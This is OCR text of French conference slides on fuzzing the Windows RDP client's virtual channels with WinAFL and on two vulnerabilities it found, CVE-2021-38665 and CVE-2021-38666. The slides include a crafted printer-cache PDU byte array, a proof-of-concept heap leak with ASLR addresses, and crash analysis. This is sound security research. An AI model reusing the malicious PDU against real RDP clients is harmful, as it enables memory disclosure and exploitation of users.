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Contexte et motivation

I Remote Desktop Protocol (RDP)
* Protocole propriétaire de Microsoft

 Connexion a un ordinateur a distance via interface graphique

| Connexion Bureau
"¢ A distance

> Afficher les options

lors de la

Connexion

Aide



Contexte et motivation

| Travaux existants

» 2019 : Fuzzing and Exploiting Virtual Channels in Microsoft Remote Desktop Protocol for Fun and
Profit (Blackhat Europe 2019)
» RCE dans le client RDP en fuzzant les Virtual Channels avec WinAFL
* 2021 : Fuzzing RDP: Holding the Stick at Both Ends (CyberArk)

= Sujet similaire — approche, fuzzing et résultats différents



Contexte et motivation

| Pourquoi s’intéresser au client RDP ?

 Scénario « honeypot » proposé a la Blackhat

© B

Client RDP

Serveur RDP
compromis (proxy)

Attaque




Contexte et motivation

| Pourquoi s’intéresser au client RDP ?

* Scénario « honeypot » proposé a la Blackhat

e [ —
- Attaque en

retour

Client RDP
(vulnérable) Honeypot RDP



Contexte et motivation

| Pourquoi s’intéresser au client RDP ?

* Scénario « honeypot » proposé a la Blackhat

« Surface d’attaque aussi riche que coté serveur

* Moins de recherche



Contexte et motivation

| Pourquoi s’intéresser au client RDP ?

* Scénario « honeypot » proposé a la Blackhat

« Surface d’attaque aussi riche que coté serveur

* Moins de recherche

* Guest-to-host Hyper-V escapes

= Depuis quelques mois MSRC n’accepte plus les vulnérabilités RDP
dans son Hyper-V Bounty Program...
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Etude du protocole RDP




Etude du protocole RDP

| Client RDP

e Deux binaires d’intérét : mstsc.exe et mstscax.dll

 Fonctionnalités basiques:

= Recevoir l'image du bureau
= Envoyer des inputs clavier et souris

e Virtual Channels

= Extensions logicielles
= Améliorations fonctionnelles, support hardware...
= Un bon nombre qui sont présentes par défaut



Etude du protocole RDP

| Virtual Channels

 Couche d’abstraction qui permet de transporter des données

 Chaque virtual channel possede sa propre logique, spécification, protocole

Clavier/ souris G

Données graphiques

Client RDP Serveur RDP
Audio (RDPSND)

Presse-papiers (CLIPRDR)




Etude du protocole RDP

| Virtual Channels

* Des channels statiques:

= CLIPRDR,RDPSND, RDPDR
= DRDYNVC (support des channels dynamiques)

Clavier/ souris G

Données graphiques

Client RDP Serveur RDP
Audio (RDPSND)

Presse-papiers (CLIPRDR)




Etude du protocole RDP

I VII’tUCI[ Channels . Clavier/ souris .|
S DeS Channels StathueS . I. Données graphiques .

[ CLIPRDR, RDPSND, RDPDR Client RDP

. Audio (RDPSND)
= DRDYNVC (support des channels dynamiques) H
Presse-papiers (CLIPRDR)

* Des channels dynamiques:

= Utilisés par les développeurs pour des extensions (et par certains attaquants...)
= Audio Input, Video Redirection, PnP, Display Control, Telemetry...

Serveur RDP




Etude du protocole RDP

| Virtual Channels

* Des channels statiques:

= CLIPRDR,RDPSND, RDPDR Ouverts par défaut
= DRDYNVC (support des channels dynamiques)

* Des channels dynamiques:

= Utilisés par les développeurs pour des extensions (et par certains attaquants...)
= Audio Input, Video Redirection, PnP, Display Control, Telemetry...



Etude du protocole RDP

| Pile réseau

Gestion des Virtual Channels



Etude du protocole RDP

| Pile réseau

Gestion des Virtual Channels

WTSAPI32 <

VirtualChannelClose function

VirtualChannelOpen function

SVirtualChannelOpenEx function
VirtualChannelPurgelnput function
VirtualChannelPurgeOutput function
VirtualChannelQuery function
VirtualChannelRead function

SVirtualChannelWrite function




Architecture d’un fuzzer
pour clients RDP




Architecture d’un fuzzer basé sur WinAFL

| Fonctionnement simplifié de WinAFL

Input

target module
mstscax.dll

target offset
0x12345

test cases
seedl, seed2...

WinAFL

afl-fuzz.exe

:

Envoi d’une nouvelle mutation

target_offset atteint?

Exécution de la méthode

Mesure de la couverture de code
(DynamoRIO)

l return crash?

Si nouveau chemin découvert,
ajout de la mutation a la file




Architecture d’un fuzzer basé sur WinAFL

Hote client RDP Hote serveur RDP

Envoi de la mutation

winafl.dll

Harnais

Exécute une fois TCP

Instrumente
mstsc.exe

APIWTS

A

mstscax.dll

Retour de la mutation au client
via un Virtual Channel



Architecture d’un fuzzer basé sur WinAFL

Hote client RDP Hote serveur RDP

Envoi de la mutation

winafl.dll

Harnais

Exécute une fois TCP

Instrumente
mstsc.exe

APIWTS

A

mstscax.dll

Retour de la mutation au client
via un Virtual Channel

1VM
RDPWrap



Stratégie de fuzzing




Stratégie de fuzzing

| Buts
» Construire une approche permettant de fuzzer rapidement une liste de channels

* Fuzzer ces channels avec une couverture décente



Stratégie de fuzzing

Comment s’attaquer a un channel ?
 Premier channel étudié : RDPSND

* Lecture de la spécification officielle de Microsoft

= Description du fonctionnement



https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPEA/%5bMS-RDPEA%5d.pdf

Stratégie de fuzzing

Comment s’attaquer a un channel ?

Sarver Audio Formats and Version PDU (V0

e Premier channel étudié : RDPSND e e —

4 Quality Mode PDU (VQ) ————————————

* Lecture de la spécification officielle de Microsoft

= Description du fonctionnement D et —
= Types de messages, structures de données | e

Figure 1: Initialization sequence using UDP for data transfer

2.2 Message Syntax

The following sections contain Remote Desktop Protocol: Audie Qutput Virtual Channel Extension
message syntax

2.2.1 RDPSND PDU Header (SNDPROLOG)

The RDPSND PDU header is present in many audio PDUs. It is used to identify the PDU type, specify
the length of the PDU, and convey message flags.

BodySize

msgType (1 byte): An 8-bit unsigned integer that specifies the type of audio PDU that follows the
BodySize field.

Meaning

Close PDU



https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPEA/%5bMS-RDPEA%5d.pdf

Stratégie de fuzzing

Comment s’attaquer a un channel ?

e Premier channel étudié : RDPSND

* Lecture de la spécification officielle de Microsoft

= Description du fonctionnement

= Types de messages, structures de données
= Exemples de PDU (Protocol Data Unit) - seeds !

Sarver Audio Formats.and Version POU (VO)
i«——Qiient Audia Formats and Version FDU
«¢———————— Quality Mode PDU (VQ) ———————————

Training PDU (UDP)———————— =

4———Training Confirm POU (UDP)

r CyptkeyFOUNM 4 protocol Examples

Figure 1: Initialization sequence using| 4.1 Annotated Initialization Sequence

nitialization sequence using virtusl channels for data

4.1.1 Server Audio Formats and Version PDU

The fallowing is an annotated dump of

2.2 Message Syntax

The following sections contain Remote Desktop Protocol: Audic Output Virtual Channel
message syntax

2.2.1 RDPSND PDU Header (SNDPROLOG)

The RDPSND PDU header is present in many audio PDUs. It is used to identify the PD
the length of the PDU, and convey message flags.

BodySize

msgType (1 byte): An 8-bit unsigned integer that specifies the type of audio PDU ths
BodySize field.



https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPEA/%5bMS-RDPEA%5d.pdf

Stratégie de fuzzing

| Comment s’attaquer a un channel ?
* Premier channel étudié : RDPSND

* Lecture de la spécification officielle de Microsoft

= Description du fonctionnement
= Types de messages, structures de données
= Exemples de PDU (Protocol Data Unit) - seeds !

* Localiser le handler des PDUs pour chaque channel

int64 _ fastcall CRdpAudioController::DataArrived(
__int64 this,
unsigned __int8 *PDU,
_DWORD *a3,
unsigned int a4

)

switch (PDU->Header.msgType) {
case Ox01: ...
case 0x02: ...
case Ox03: ...

}



https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPEA/%5bMS-RDPEA%5d.pdf

Stratégie de fuzzing

| Différentes stratégies de fuzzing
 Problématique du fuzzing de machines a états

* Deux stratégies proposées

= Chacune a ses avantages et inconvénients
= Aucune ne regle vraiment le probleme



Stratégie de fuzzing

1. Mixed message type fuzzing

* Stratégie « naive »

= |es seeds obtenues de la spécification sont utilisées de facon brute
* Pasde traitement c6té harnais

Header « SNDPROLOG »

BodySize

0x01 SNDC_CLOSE
0x02 SNDC_WAVE
0x03 SNDC_SETVOLUME

+ Body



Stratégie de fuzzing

1. Mixed message type fuzzing

* Stratégie « naive »

= |es seeds obtenues de la spécification sont utilisées de facon brute
* Pasde traitement c6té harnais

Header « SNDPROLOG »

+ Body

BodySize

0x01 SNDC_CLOSE

0x02 SNDC_WAVE ’ 0
0x@3 SNDC_SETVOLUME * Melange des types de message lors du fuzzing

* Apparition de bugs stateful

* Analyse de crash plus difficile
Les msgType sont mutés.



Stratégie de fuzzing

2. Fixed message type fuzzing

* Les différents types de messages sont fuzzés séparément.

Header « SNDPROLOG »

BodySize

+ Body

I: Le fuzzer n’agit qu’ici

Header fixe



Stratégie de fuzzing

2. Fixed message type fuzzing

* Les différents types de messages sont fuzzés séparément.

Header « SNDPROLOG »

BodySize

+ Body

Header fixe

* Beaucoup moins de bugs stateful
* Un peu moins de bugs
* Plus faciles a analyser

I: Le fuzzer n’agit qu’ici



Stratégie de fuzzing

2. Fixed message type fuzzing

* Les différents types de messages sont fuzzés séparément.

Header « SNDPROLOG »

+ Body
BodySize T
— Le fuzzer n’agit qu’ici

Header fixe

* Beaucoup moins de bugs stateful
* Un peu moins de bugs Exemple : dispatchs asynchrones dans CLIPRDR
* Plus faciles a analyser



Stratégie de fuzzing

! Qualité du fuzzing
* On afuzzé un channel pendant 72 heures...
* Quand est-ce qu’on s’arréte ?

e Qualité de la couverture ?

30 Time (min)

= Modifier WinAFL pour logger les nouveaux chemins
= |IDA + Lighthouse pour analyser la couverture de basic blocks
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https://github.com/gaasedelen/lighthouse

Vulnérabilités identifiées




Vulnérabilités identifiees

| Résultats des campagnes de fuzzing

Channel Description
RDPSND Redirection audio serveur = client

CLIPRDR Synchronisation presse-papiers

RDPDR Redirection filesystem, imprimantes, cartes a puce...




RDPDR

| RDPDR
* Acces au filesystem du client depuis le serveur

» Extensions (sub-protocols) :

= Smart Cards
= Printers
= Ports (Serial/Parallel)




RDPDR

! RDPDR
* Acces au filesystem du client depuis le serveur

» Extensions (sub-protocols) :

= Smart Cards
= Printers
= Ports (Serial/Parallel)

e Résultats

= Un bug «Arbitrary Malloc DoS »
= Remote Heap Leak (CVE-2021-38665) dans ’extension Printer
= Remote Heap Buffer Overflow (CVE-2021-38666) dans I’extension Smart Card




Remote Heap Leak (CVE-2021-38665)

| Découverte du bug
* Entrain de fuzzer RDPDR

* Des millions d’exécutions...



Remote Heap Leak (CVE-2021-38665)

| Découverte du bug
* Entrain de fuzzer RDPDR

* Des millions d’exécutions...

e Client RDP cassé

= Remplit toute la RAM a chaque démarrage



Remote Heap Leak (CVE-2021-38665)

| Découverte du bug
* Entrain de fuzzer RDPDR

* Des millions d’exécutions...

e Client RDP cassé

= Remplit toute la RAM a chaque démarrage

* Les effets secondaires du fuzzing sur le systéme peuvent révéler des bugs !



Remote Heap Leak (CVE-2021-38665)

Découverte du bug

=

File Edit Event Filter Optiens Help

SHABRE| LS R &8 HB LM

Time of Day PID Operation Path

10:42:29 639332.. 12160 @ RegCreateley HKCUNSaftware'Microscft\Teminal Server Client'Default\Addins\RDPDR
10:43:29 640391 . 12160 @ RegCreateKey  HKCLNSOFTWARE Microsaft\ Teminal Server Cient\DefautAddins'\RDP DR Brother DCP-1000 USE fena.
10:43:29 826227 . 12160 @ RegCreateKey  HKCL\Software'MicrosoftTeminal Server Cliert\Defaull\Addins\RDPDR
10:43.29 873888 . 12160 @ RegCreateKey  HKCL\Software'MicrosoftTemninal Server Cliert\Defaull\Addins\RDPDR
10:43:29.939115.. 12160 @fRegCreateKey  HKCL\Software'MicroscftTemninal Server Cliert\Default\Addins\RDPDR
10:43:30 269334 . 12160 @t RegCreateKey  HKCL\Software Microscft Temninal Server Cliert\Default\Addins\RDPDR
10:43:30 376535.. 12160 dtReoCreateKey  HKCL\Software'Microscft Temninal Server Cliert\Default\Addins\RDPDR

Teols

Result
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

Detail

Desired Access: All Access, Disposition: REG_OPENED_EXISTIN
Desired Access: All Access, Disposition: REG_OPENED_EXISTIN
Desired Access: All Access, Disposition: REG_OPENED_EXISTIN
Desired Access: All Access, Disposition: REG_OPENED_EXISTIN
Desired Access: All Access, Disposition: REG_OPENED_EXISTIN
Desired Access: All Access, Disposition: REG_OPENED_EXISTIN
Desired Access: All Access, Disposition: REG_OPENED_EXISTIN

Process N...

B mstsc exe
B mstsc exe
B mstsc exe
B mstsc exe
B mstsc exe
B mstsc exe
B mstsc exe

110:43:30 424131
10:43:30 441865
10:43:40.165049
10:43:40.165733
10:43:40172677

[10:43:47.298031...
[10:43:47.412613...
[10:43:47.412671...
[10:43:47.439766...
[10:43:47.439826...
110:43:47.488907...
110:43:47.488968...

[10:43:47 547750,

104347547813

10:43:47 576158
10:43:47 576222
10:43:47 650158
10:43:47 650268
10:43:47 635387
10:43:47 6354438

10:43:47 726712
10:43:47 815720

10:43:43 161441
10:43:43 161456
10:43:48 204713
110:43:48 20477¢

Bomstsc exe
B mstsc exe
B mstsc exe
Bymstsc exe

. Bmstsc.exe

. Bmstsc.exe
10:43:47.881126..
[10:43:47.903898..
[10:43:47.904541..
104347 572950..
104347573321,
10.43.43.097367..
10.43.43.097415..

L SAR—
B mstsc.exe
5 mstsc.exe
B mstsc.exe
5 mstsc.exe
5 mstsc.exe
5 mstsc.exe
Bomstsc exe
B mstsc exe
Bymstsc exe
Bymstsc exe

12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @ ReqCreateKey
12160 @ ReqCreateKey
12160 @ ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKay
12160 #fReqCreateiey
12160 &% ReqCreateiey
12160 @%RegCreateKey
12160 @%RegCreateKey
12180 % RegCreateKey
12160 &% RegCreateKey
12160 &% RegCreateKey
12160 @4 ReqCreateKey
12160 @ ReqCreateKey
12160 @ ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @ ReqCreateKey
12160 @ ReqCreateKey
12160 @ ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 RegCreateKay
12160 @4 ReqCreateKay
12160 @4 RegCreateKey
12160 @%RegCreateKey
12160 @%RegCreateKey
12180 % RegCreateKey
12160 &% RegCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @ ReqCreateKey
12160 @ ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey
12160 @4 ReqCreateKey

HKCU\Software'\Microsoft . Temminal Server ClientDefault\AddlIns\RDPDR
HKCU\Software\Microsoft\ Teminal Server Client \Default\Addlns\RDPDR
HKCU\Software\Microsoft\ Teminal Server Client \Default\Addlns\RDPDR

[ Registry Editor
File Edit

View Favorites

Help

HKCUNSOFTWARE \Microsoft' Terminal Server Client'\Default \AddIns\RDPDR\Brother DCP-1000 USB (ren
HKCUNSOFTWARE\Microsoft' Terminal Server Client\Default\AddIns\RDPDR\Microsoft Print to PDF

Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default\AddIns\RDPDR\B Zother DEP-#E000wUSE

HKCU\SOFTWARE\Microsat\ Teminal Server Client'\Defaut'\Addins\ ROPDR\Microscft XPS Documert Wi
HKCU\SOFTWARE\Microsaft\Terminal Server Client'\Defaut'Addins\ ROPDR\OneHots for Windows 10
HKCR\Local Settings!Software \Microsoft\Windows\Curent Version'\AppModel\ Deployment \Package\"\5-1
HKCU\Software\Microsoft\ Terminal Server Client\Defaut\AddIns\RDPOR
HKCUNSOFTWARE\Microsaft \ Terminal Server Cliert'\Defauk'Addins\ROPDR \Brother DCP-1000 USB
HKCU\Saftware\Microsoft Terminal Server Client\Defaut\AddIns\RDPDR
HKCUNSOFTWARE\Micrasaft\Terminal Server Client'\DefaukAddins\ RDPDR\Brether CP-10i0 USB
HKCUNSaftwareMicrosaft\Temminal Server Client Default\AddIns\RDPOR

HKCU\SOF TWARE\Micrasaft Terminal Server Client\DefaukAddins’\ RDPDR\Bdather DCP-1000
HKCU\SeftwareMicrosoft Temmingl Server Client Defauit\AddIns' RDPOR

HKCU\SOF TWAREMicrasaft Terminal Server Client'DefaukAddins’\ RDPDR\Bfidothir DCP-1000 USE
HKCU\Software Microsaft: Temingl Server Client:Default\AddIns' RDPDR
HKCUNSOFTWARE Micrasaft Terminal Server Client\DefaukAddins’ RDPDRBrother DCP-1000- TSE
HKCU\Software Microsaft: Temingl Server Client:Default\AddIns' RDPDR
HKCUNSOFTWARE\Microsoft Terminal Server CliertDefauk'Addins\ RDPDR \Brother DCP-1000 USB
HKCU\SoftwareMicrosoft Teminal Server Client Defauit\AddIns' RDFDR
HKCU\SOFTWARE\Miorosoft\Terminal Server Cliert'Defauk\Addins\ RDPDR\Brother D“F-1000 USE
HKCU\Softwars\Microsoft Terminal Server Client Defauit\AddIns\RDPDR
HKCU\SOFTWARE\Microsaft \Terminal Server Client\Defaut\Addins\RDPDR \Brother DCP
HKCU\Software\Microsoft\ Terminal Server Client\Defautt\AddIns\RDPOR
HKCU\SOFTWARE\Microsaft\Terminal Server Client\Defaut \Addins\ROPDR\ajth
HKCU\Software\Microsoft\ Terminal Server Client\Defautt\AddIns\RDPOR
HKCUNSOFTWARE\Microsat Temminal Server Client'\DefaukAddins\ROPDR \Brother DCP-1000 USB
HKCU\Software\Microsoft\ Terminal Server Client\Defautt\AddIns\RDPOR

HKCLNSOF TWARE\Micrasaft Terminal Server Client'\Defauk'\Addins\ ROPDR \Brother DCP-1000 USB
HKCUNSaftwareMicrosaft\Temminal Server Client Default\AddIns\RDPOR
HKCLNSOFTWARE\Micrasaft Terminal Senver Cliert'\Defauk'Addins\ROPDR \Brother DCP-1000 USB
HKCU"SoftwareMicrosoft Temminal Server Client Defauit\AddIns‘\RDPOR

HKCU\SOF TWARE\Micrasaft: Terminal Senver Client'Defauk'Addins\RDPDR \Brother DCP-10011USB
HKCU\Software Microsaft: Temingl Server Client:Default\AddIns' RDPDR
HKCUNSOFTWARE Micrasat Terminal Senver Client'Defauk'Addins\ RDPDR \Brother DCP-1000 UthZ: D
HKCU\Software Microsaft: Temingl Server Client:Default\AddIns' RDPDR

HKCUNSOFTWARE Micrasaft: Terminal Senver Client'Defauk'Addins\RDPDR \BrotherlCP-100; USE
HKCU\SoftwareMicrosft Temninal Server Client Defauit\AddIns' ROPOR
HKCUN\SOFTWARE\Microsoft Terminal Server Cliert'Defauk'Addins\RDPDR \Brother DCP-1010 USE
HKCU\Softwars\Microsoft Terminal Server Client Defauit\AddIns\RDPDR
HKCU\SOFTWARE\Microsoft\Terminal Server CliertDefaukAddins\ROPDR\Bro- 1

BroZh(r DiP-1000 USE
BroEZhe: qCP-1000£058
BroH RIS TEE
BrljDerqDCP-1000 USB
Br-ther DCP-1000 USB
Bilther DCP-1

Brilsith F RGOS SIASIMH R EHO
BrigSH

Bréfither DCP-1000 USE
Brifiher DCP-100
BXother DCP-1000 USB
BXother DyP-1000 USB
bith

B./ther DCP-1000 USB
BZother DEP-}2000wUSE
EEEEEEEEEER:-Batte-] Wsteti]
B+ other DCP-1000 USB
BJZH+ her DCP-1000 USE
Bfit othOr DCP-1000 USB
BEot

Crother DCP-1000 USB

o}

DO-1000 USB

DCP-1000 USB

er DCP-1000 USB

er DCP-100- USB

er FEA EHHERD

her DCP-100 L

Microsoft Print to PDF
Microsoft XPS Decument Writer
OneNote for Windows 10

|| Name

ab) (Default)
2 PrinterCacheData

Type Data
REG_SZ
REG_BINARY

(value not set)
4344 32 00 00)




Remote Heap Leak (CVE-2021-38665)

Le coupable
* « Add Printer Cachedata » (DR_PRN_ADD_CACHEDATA)

2.2.2.3 Add Printer Cachedata (DR_PRN_ADD_CACHEDATA)

This message is sent from the server to the client when a printer queue is created manually on the
redirected port (port redirection is explained in [MS-RDPESP]) on the server.

1 3
Header

RegCreateKeyExW(
hKey,

A 4

PrinterName,

OxFOO3F,

9,

&phkResult,
&dwDisposition

* Nom de clé de registre arbitraire
* Pasdecheck de longueur
* Pasde double null byte (00 00)



Remote Heap Leak (CVE-2021-38665)

| Heap Leak

char leak_heap[] = {
// DR_PRN_ADD_CACHEDATA

Bx52, ©x50, ©x43, 0x589, // Header

0x81, ©xB0, ©Ox068, 0xe8, // EventId

0x43, Bx4f, 6x4d, 6x32, 6xBB, ©x8@, B8x3a, ©x08, // PortDosName
BxB0, BxB68, Ox08, 6x60, // PnpNamelen
Bx2a, BxBB, OxbO, B6x08, // DriverNamelLen
Bx2a, OxPO, Ox00, 0Ox00, // PrintNamelen
Ox00, BxPO, OxBO, Ox08, // CachedFieldslen

// DriverName

Bx42, 8x088, Ox72, 0x08, Ox6f, Ox00, Bx74, Ox0PB, Bx68, 8xP0, Ox65, Ox00, Ox72, 0x00,
Bx20, Ox08, Ox44, 0x00, 0x43, Ox00, Ox50, Ox0B, 6x2d, 6x06, Ox31, OxB0, Ox30, 0x00,
Px30, Ox00, Ox30, 0x0@, 0x20, Ox00, Bx55, Ox0PB, Bx53, 6x06, Ox42, Ox00, 0Ox60, 0x00,
// PrinterMName

0x42, BxB8, BOx72, 0x08, 6x6f, ©x008, 0x74, ©x00, Ox68, Bx00, Bx65, Bx08, Ox72, 0x00,
0x20, 0xBB, Ox44, 0x00, Ox43, OxB0, Ox50, Ox00, Ox2d, O0x66, Ox31, Ox08, Ox308, Ox86,
Ox30, OxBB, Ox30, 0x00, ©x20, OxB@, Bx55, Ox00, Bx53, 0x00, Ox42, Ox08, Ox208, 0Ox88,
Ox61, Bx62, Bx63, Bx64

Lff



Remote Heap Leak (CVE-2021-38665)

Heap Leak
* W32DrPRN: :AddPrinterCacheInfo
« Juste apres ’appel a RegCreateKeyEXxW...

v Terminal Server Client
W Default
: W Addins

v | RDPDR
.. Brother DCP-1000 USBE i & SR8 480




Remote Heap Leak (CVE-2021-38665)

Heap Leak
* W32DrPRN: :AddPrinterCacheInfo
« Juste apres ’appel a RegCreateKeyEXxW...

v Terminal Server Client
v Default
. 1w | Addins
.~ | | RDPDR
.|| Brother DCP-1000 USB fhilh & SR fn 540
N ~ J
UTF-16LE
|
61 62 63 64
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| Rapatrier le leak



Remote Heap Leak (CVE-2021-38665)

| Rapatrier le leak
* Le client envoie un PDU « Device Announce » au démarrage

e Celui-ci contient tous les noms de clés (donc nos leaks !!)

« Peut-on forcer le client a se reconnecter ?



Remote Heap Leak (CVE-2021-38665)

| Rapatrier le leak
* Le client envoie un PDU « Device Announce » au démarrage

 Celui-ci contient tous les noms de clés (donc nos leaks !!)

« Peut-on forcer le client a se reconnecter ?

= Corruption du channel Microsoft: :Windows: :RDS: :Graphics

Reconnecting

osl. Attempting




Remote Heap Leak (CVE-2021-38665

| Exploit

char leak_heap[

Header
Eventld

@0,
6x80, 0x00, 0x3a, 0x00, /

3DU malveillant.
:Printer Cache

©€x30, B89, 0x30, 0x0O, Bx20, Bxd0, OxS5, 6x08, 6x53, xEO, BxA2, BxBO, Ox20, OX0O,
6x61, Bx62, 0x63, Bx64

Server Client
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| Exploit

Force le client a se reconnecter
Corruption du channel Graphics

Server

»

Client
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| Exploit

Force le client a se reconnecter
Corruption du channel Graphics

Server

v Terminal Server Client
Default

»

v | Addins
v RDPDR
Brother DCP-1000 USB fthig -

Registre client + ASLR Leak

Client




Remote Heap Leak (CVE-2021-38665)

| Exploit (PoC)

- Remote Deskt nnection

artManager
creenMagnifier 52 50 43 50 @1 00 00 00 43 4f 4d 32 60 00 3a 00

68 90 65 00 72 @0 20 00 44 08 43 00 50 06 2d @0
74 60 68 8@ 65 @0 72 €0 20 60 44 @0 43 86 58 @9
Process Successfully wrote 128 bytes to Virtual Channel.
Hacker 52 58 43 50 @1 @0 00 @0 43 4f 4d 8@ 80 3a 80

68 80 65 8@ 72 @0 206 @@ 44 80 43 50 @@ 2d ee
74 68 68 8@ 65 @@ 72 @@ 20 @0 44 43 @0 5@ 80

Virtual

(h _Ony

Closing Virtual Channel.

Terminal Server Client +] Attempting to open virtual Channel.
Default +] Opened virtual Channel ‘Microsoft::Windows::RDS::Graphics® in 1 tries.
Addlns +] Successfully wrote 18 bytes to Virtual Channel.
+] 48 61 63 6b 65 64 20 62 79 2@ 43 68 69 6e 65 73 65 21
Closing Virtual Channel.

Found TermService (PID 1676)
Found address leak! @x@0@07FF8BOCOCR48
-> Potential base address: @x28007FF8B9670000
FUUING dUUress TEaK T X000 Fr 669CoCo4s
-> Potential base address: @x88087FF8B9670008
Found address leak! 0x80887FF8B9C9DC20
-> Potential base address: 9x@8087FF8B9670008
Found address leak! 0x80887FF8B9CODC20
-> Potential base address: 9x@8087FFB8B9670608
Found address leak! ©x80e87FF8B9CODC20
-> Potential base address: 9x@8087FFB8B9670608
Found address leak! @x@@ee7FF8BICIDC2@
-> Potential base address: @x@8@87FFB8B9670608
Found address leak! @xe@ee7FF8BICIDC2@
i -> Potential base address: @x88887FF8B3670608
iy o1 1h07T 592kE i +] Found address leak! @x@eee7FF8BOCIDC28
0x7f7ad410000 | 1.67 MB +] -> Potential base address: @x@eee7FF8B9670000

£00UD 1020 0T COIS0 S0 gD 0T UTT LoD TEs T

> "B *.encode( 'utf-16le’).hex()
29696162636484b3f;2f956(HEQB'Fdf'F(9h9f87f'
53 > "B BEE E B B ".encode( utf-161e’).hex()

‘' 2000616263640eb8c3f20027008048c8CObOfE7"




Remote Heap Buffer Overflow (CVE-2021-38666)

| Découverte du bug

* Descrashs (!)
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Découverte du bug

 Des crashs (beaucoup...)

Crash at time 1621526983
Exception Address: @0ea7ff8ledede2t / ©00000000085d626
Exception Information: B280028000800000 B00EB2513a5428

RPCRT4.d11)

(
0o

Crash at time 16215272
Exception Address: @00@7ffB80a777bl8 / 00000000G0EEVL1E (WINSPOOL.DRV)
Exception Information: B280028000000000 B0OEB2541565df98

2
7

Crash at time 1621527495
Exception Address: 80007ff8166043d2 / 0000BE0EERA743d2 (msvert.dll)
Exception Information: B280008000800000 2000823744cedBBe

Crash at time 1621527745
Exception Address: 80087ff80a774340 / 0000G0000E004348 (WINSPOOL.DRV)
Exception Information: ©280002000000000 2000Q1835bcc5eed

Crash at time 1621527779
Exception Address: 80087ff816481bff / DBGOGEOEEBAd1bFT (RPCRT4.d11l)
Exception Information: G200002000000000 200082d25=2f2000

Crash at time 1621527
Exception Address: 0@
Exception Information: G280008000800000 BB007fffe9aB98dc

Crash at time 162 182
Exception Address: B0087ff80a774340 / 000OO0O600ED4348 (WINSPOOL.DRV)
Exception Information: G280028000800000 200082358cechbeed

Crash at time 16215284283
Exception Address: @0087ff80a777bl8 / £00EEOEEEEO7b18 (WINSPOOL.DRV)
Exception Information: B280088000800000 200081cd8e07af98

Crash at time 1621528537
Exception Address: ©099800000800000 / ffff8808333f0080 (unknown module)
Exception Information: ©860088000800000 f000800000000000




Remote Heap Buffer Overflow (CVE-2021-38666)

| Analyse du crash dans RPCRT4
* RPCRT4.DLL : APl pour les Remote Procedure Calls

* Crash reproductible

* NdrSimpleTypeConvert

mov
bswap
mov

eax, [rdx]
eax
[rdx], eax
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| Analyse du crash dans RPCRT4

, [rd
* RPCRT4.DLL : APl pour les Remote Procedure Calls mov eax, [rdx]

bswap eax
* Crash reproductible mov [rdx], eax

* NdrSimpleTypeConvert

— Device |/O Request

72 44|52 49
01 00 00 00 f8 901 02 00 O8 00 PO 00 |Pe 0O 0O 00|00 0O 00 00O

»

00 40 00 e@__J—v InputBufferLength > IRP_MJ_DEVICE_CONTROL
00 80 2d 00

e8 00 09 90— loControlCode

00 00 00 00 00 00 00 0O 00 0O 00 00 02 00 00 00 02 00 08 00

00 00 00 00 00 0O OO V0 00 00 01 00 0O 0O PO 0O 0O V0 00 00

01 00 00 00 00 00 00 0O 00 0O PO PO PO VO VO VO VO V0 V0 00
InputBuffer
00 03 00 08 00 01 40 00 00 16 0O 0O 00 01 00 00 00
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72
o1

00

44
00

40

52
00

00

49
00

00

0x000900DC
0x000900ED

0x000900E4

0x000900E8

0x000900EC

8 01 02 00 08 00

00

80

2d

00

e8

00

09

00

— loControlCode

00

01
00
00

00

5]%)
00
03

00

5]%)
00
5]%)

_|—> InputBufferLength

SCARD_IOCTL SETATTRIB SetAttrib Call (section 2
Long_Return

SCARD_IOCTL_ACCESSSTARTEDEVENT

SCARD_IOCTL_RELEASETARTEDEVENT Not used.

SCARD_IOCTL_LOCATECARDSBYATRA LocateCardsB

3
¥

L

SCARD_IOCTL LOCATECARDSBYATRW

00 00 Oe 0O 0O 0O 00 00 0O 00

TRA Call (section 2.2.2.23

Return (section 2.2.3.5)

00 00 00 00 00 0O 0O 00 PO 02 00 PO 00 02 00 08 0O

00

00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 @O

00 00 00 00 00 0O 00 01 0O 0O 0O PO 0O 0O VO 00 00

08

00 01 40 00 00 16

00 00 00 01 00 00 00

} InputBuffer
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| Call stack

mstscax.dll

ProcObj::ProcessCoreServerPacket

ProcObj::Process|ORequestPacket

W32SCard::MsglrpDeviceControl

W32SCard::LocateCardsByATRA
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| Call stack

mstscax.dll

ProcObj::ProcessCoreServerPacket

MesDecodeBufferHandleCreate(
&PDU->InputBuffer,

Pas vérifié | ——— PDU->InputBufferLength, ProcObj::ProcesslORequestPacket

&pHandle
) W32SCard::MsglrpDeviceControl
e W32SCard::LocateCardsByATRA
NdrMesTypeDecode3 ( 2

EPickiingIno

oy gher,

OxE,

&pObject NdrComplexStructConvert
):
NdrSimpleTypeConvert @
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RPC NDR marshaling engine

* Network Data Representation

Moteur de sérialisation

IDL (Interface Description Language)

RMIDL Compiler

MesDecodeBufferHandleCreate(
&PDU->InputBuffer,
PDU->InputBufferLength,
&pHandle

);
/...

NdrMesTypeDecode3 (
pHandle,
&pPicklingInfo,
&pProxyInfo,
&ArrTypeOffset,
OxE,

&pObject
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Pré-traitement lors de la désérialisation

void NdrSimpleTypeConvert(PMIDL_STUB_MESSAGE StubMsg, uchar Format) {

switch (Format) ({

if ((StubMsg->RpcMsg->DataRepresentation & NDR_INT_REP_MASK) !'= NDR_LOCAL_ENDIAN) {
// Crash
